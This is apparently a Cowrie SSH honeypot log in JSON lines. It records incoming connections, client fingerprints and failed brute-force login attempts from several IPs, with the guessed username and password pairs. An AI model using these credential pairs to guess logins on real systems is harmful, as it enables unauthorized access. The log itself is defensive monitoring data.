{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:03.097381Z","src_ip":"152.32.129.186","session":"8f54960f66b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:03.313611Z","src_ip":"152.32.129.186","session":"8f54960f66b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"Cacti123","message":"login attempt [cacti/Cacti123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:04.209673Z","src_ip":"152.32.129.186","session":"8f54960f66b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:05.427819Z","src_ip":"152.32.129.186","session":"8f54960f66b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":34546,"dst_ip":"159.203.135.109","dst_port":22,"session":"a72e59464f75","protocol":"ssh","message":"New connection: 64.227.144.233:34546 (159.203.135.109:22) [session: a72e59464f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:16.061265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:16.065692Z","src_ip":"64.227.144.233","session":"a72e59464f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:16.287063Z","src_ip":"64.227.144.233","session":"a72e59464f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"axie","password":"AXIE","message":"login attempt [axie/AXIE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:16.732275Z","src_ip":"64.227.144.233","session":"a72e59464f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:17.955453Z","src_ip":"64.227.144.233","session":"a72e59464f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":49715,"dst_ip":"10.17.0.5","dst_port":22,"session":"075afc15e8f7","protocol":"ssh","message":"New connection: 2.57.121.25:49715 (10.17.0.5:22) [session: 075afc15e8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:36.023228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:36.027766Z","src_ip":"2.57.121.25","session":"075afc15e8f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:36.126638Z","src_ip":"2.57.121.25","session":"075afc15e8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"04111985","message":"login attempt [user/04111985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:36.597567Z","src_ip":"2.57.121.25","session":"075afc15e8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"04101990","message":"login attempt [user/04101990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:37.699301Z","src_ip":"2.57.121.25","session":"075afc15e8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"04071990","message":"login attempt [user/04071990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:38.804768Z","src_ip":"2.57.121.25","session":"075afc15e8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03111992","message":"login attempt [user/03111992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:39.906803Z","src_ip":"2.57.121.25","session":"075afc15e8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03091982","message":"login attempt [user/03091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:41.008461Z","src_ip":"2.57.121.25","session":"075afc15e8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:18:42.110011Z","src_ip":"2.57.121.25","session":"075afc15e8f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41397,"dst_ip":"159.203.135.109","dst_port":22,"session":"da5f76bf8b9d","protocol":"ssh","message":"New connection: 2.57.121.25:41397 (159.203.135.109:22) [session: da5f76bf8b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:19:49.693787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:19:49.697818Z","src_ip":"2.57.121.25","session":"da5f76bf8b9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:19:49.801073Z","src_ip":"2.57.121.25","session":"da5f76bf8b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"04111985","message":"login attempt [user/04111985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:19:50.290479Z","src_ip":"2.57.121.25","session":"da5f76bf8b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"04101990","message":"login attempt [user/04101990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:19:51.395749Z","src_ip":"2.57.121.25","session":"da5f76bf8b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"04071990","message":"login attempt [user/04071990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:19:52.500945Z","src_ip":"2.57.121.25","session":"da5f76bf8b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03111992","message":"login attempt [user/03111992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:19:53.605294Z","src_ip":"2.57.121.25","session":"da5f76bf8b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03091982","message":"login attempt [user/03091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:19:54.712447Z","src_ip":"2.57.121.25","session":"da5f76bf8b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:19:55.818426Z","src_ip":"2.57.121.25","session":"da5f76bf8b9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":47582,"dst_ip":"10.17.0.5","dst_port":22,"session":"cebf106adc4d","protocol":"ssh","message":"New connection: 152.32.129.186:47582 (10.17.0.5:22) [session: cebf106adc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:05.598489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:05.603298Z","src_ip":"152.32.129.186","session":"cebf106adc4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:05.821510Z","src_ip":"152.32.129.186","session":"cebf106adc4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prueba","password":"Prueba123!","message":"login attempt [prueba/Prueba123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:06.720404Z","src_ip":"152.32.129.186","session":"cebf106adc4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:07.939473Z","src_ip":"152.32.129.186","session":"cebf106adc4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60188,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d1ada48c22e","protocol":"ssh","message":"New connection: 195.178.110.218:60188 (10.17.0.5:22) [session: 2d1ada48c22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:24.753382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:24.757597Z","src_ip":"195.178.110.218","session":"2d1ada48c22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:24.832832Z","src_ip":"195.178.110.218","session":"2d1ada48c22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:25.057409Z","src_ip":"195.178.110.218","session":"2d1ada48c22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:26.135388Z","src_ip":"195.178.110.218","session":"2d1ada48c22e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":36042,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0c253d87741","protocol":"ssh","message":"New connection: 103.13.206.100:36042 (10.17.0.5:22) [session: e0c253d87741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:37.792074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:37.796680Z","src_ip":"103.13.206.100","session":"e0c253d87741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:38.023571Z","src_ip":"103.13.206.100","session":"e0c253d87741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"123456","message":"login attempt [django/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:38.970590Z","src_ip":"103.13.206.100","session":"e0c253d87741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:20:40.199929Z","src_ip":"103.13.206.100","session":"e0c253d87741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":16894,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bc9dff61f2a","protocol":"ssh","message":"New connection: 152.32.129.186:16894 (10.17.0.5:22) [session: 5bc9dff61f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:21:54.676742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:21:54.680726Z","src_ip":"152.32.129.186","session":"5bc9dff61f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:21:54.891969Z","src_ip":"152.32.129.186","session":"5bc9dff61f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonarr","password":"sonarrpass","message":"login attempt [sonarr/sonarrpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:21:55.788202Z","src_ip":"152.32.129.186","session":"5bc9dff61f2a","protocol":"ssh"}
